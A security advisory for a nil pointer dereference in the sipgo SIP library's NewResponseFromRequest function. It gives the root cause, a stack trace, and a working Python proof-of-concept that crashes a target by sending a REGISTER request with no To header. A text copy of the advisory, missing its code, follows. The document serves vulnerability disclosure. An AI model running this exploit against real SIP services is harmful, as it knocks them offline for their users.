Description
A nil pointer dereference vulnerability was discovered in the SIPGO library's NewResponseFromRequest function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.
The vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases.
Note: This vulnerability affects all SIP applications using the sipgo library, not just specific configurations or edge cases, as long as they make use of the NewResponseFromRequest function.
Technical details
The vulnerability is located in /sip/response.go at line 242 in the NewResponseFromRequest function:
if _, ok := res.To().Params["tag"]; !ok {
uuid, _ := uuid.NewRandom()
res.to.Params["tag"] = uuid.String()
}
Root Cause:
-
Missing To Header: When any SIP request is sent without a To header, the SIP message parsing succeeds but the To header is never set in the request object.
-
Header Copying Logic: During response creation in NewResponseFromRequest, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response.
-
Unsafe Assumption: The response creation code assumes the To header exists and calls res.To().Params["tag"] without checking if res.To() returns nil, causing a nil pointer dereference.
Stack Trace:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x70 pc=0x10261fcb4]
goroutine 175 [running]:
github.com/emiago/sipgo/sip.NewResponseFromRequest(0x14000433e00, 0x191, {0x1026b074b, 0xb}, {0x0, 0x0, 0x0})
/Users/user/Documents/GitHub/sipgo/sip/response.go:242 +0x394
Impact
This vulnerability affects all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses.
Attack Impact:
- Availability: Complete denial of service - application crashes immediately
- Remote Exploitation: Yes
- Authentication Required: No - vulnerability triggers during initial response generation which does not require authentication
How to reproduce the issue
To reproduce this issue, you need:
- A SIP application using the vulnerable sipgo library
- Network access to send SIP messages to the target
Steps:
-
Save the following Python script as sipgo-response-dos.py:
#!/usr/bin/env python3
import socket
import sys
import time
import random
def create_malformed_register(target_ip, target_port):
call_id = f"sipgo-dos-{int(time.time())}"
tag = f"sipgo-dos-{random.randint(1000, 9999)}"
branch = f"z9hG4bK-sipgo-dos-{random.randint(10000, 99999)}"
# Craft malformed SIP request without To header
sip_message = (
f"REGISTER sip:{target_ip}:{target_port} SIP/2.0\r\n"
f"Via: SIP/2.0/UDP 192.168.1.100:5060;rport;branch={branch}\r\n"
f"From: <sip:attacker@192.168.1.100>;tag={tag}\r\n"
f"Call-ID: {call_id}\r\n"
f"CSeq: 1 REGISTER\r\n"
f"Contact: <sip:attacker@192.168.1.100:5060>\r\n"
f"Content-Length: 0\r\n"
f"\r\n"
)
return sip_message
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 sipgo-response-dos.py <target_ip> <target_port>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = create_malformed_register(target_ip, target_port)
print(f"Sending malformed REGISTER to {target_ip}:{target_port}")
sock.sendto(payload.encode('utf-8'), (target_ip, target_port))
print("Exploit sent - target should crash immediately")
-
Run the script against a vulnerable sipgo application:
python3 sipgo-response-dos.py <target_ip> <target_port>
-
Observe that the target application crashes with a SIGSEGV panic.
Note: The key element is the missing To header in any SIP request, which triggers the nil pointer dereference.
References
Description
A nil pointer dereference vulnerability was discovered in the SIPGO library's
NewResponseFromRequestfunction that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.The vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases.
Technical details
The vulnerability is located in
/sip/response.goat line 242 in theNewResponseFromRequestfunction:Root Cause:
Missing To Header: When any SIP request is sent without a To header, the SIP message parsing succeeds but the To header is never set in the request object.
Header Copying Logic: During response creation in
NewResponseFromRequest, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response.Unsafe Assumption: The response creation code assumes the To header exists and calls
res.To().Params["tag"]without checking ifres.To()returnsnil, causing a nil pointer dereference.Stack Trace:
Impact
This vulnerability affects all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses.
Attack Impact:
How to reproduce the issue
To reproduce this issue, you need:
Steps:
Save the following Python script as
sipgo-response-dos.py:Run the script against a vulnerable sipgo application:
Observe that the target application crashes with a SIGSEGV panic.
References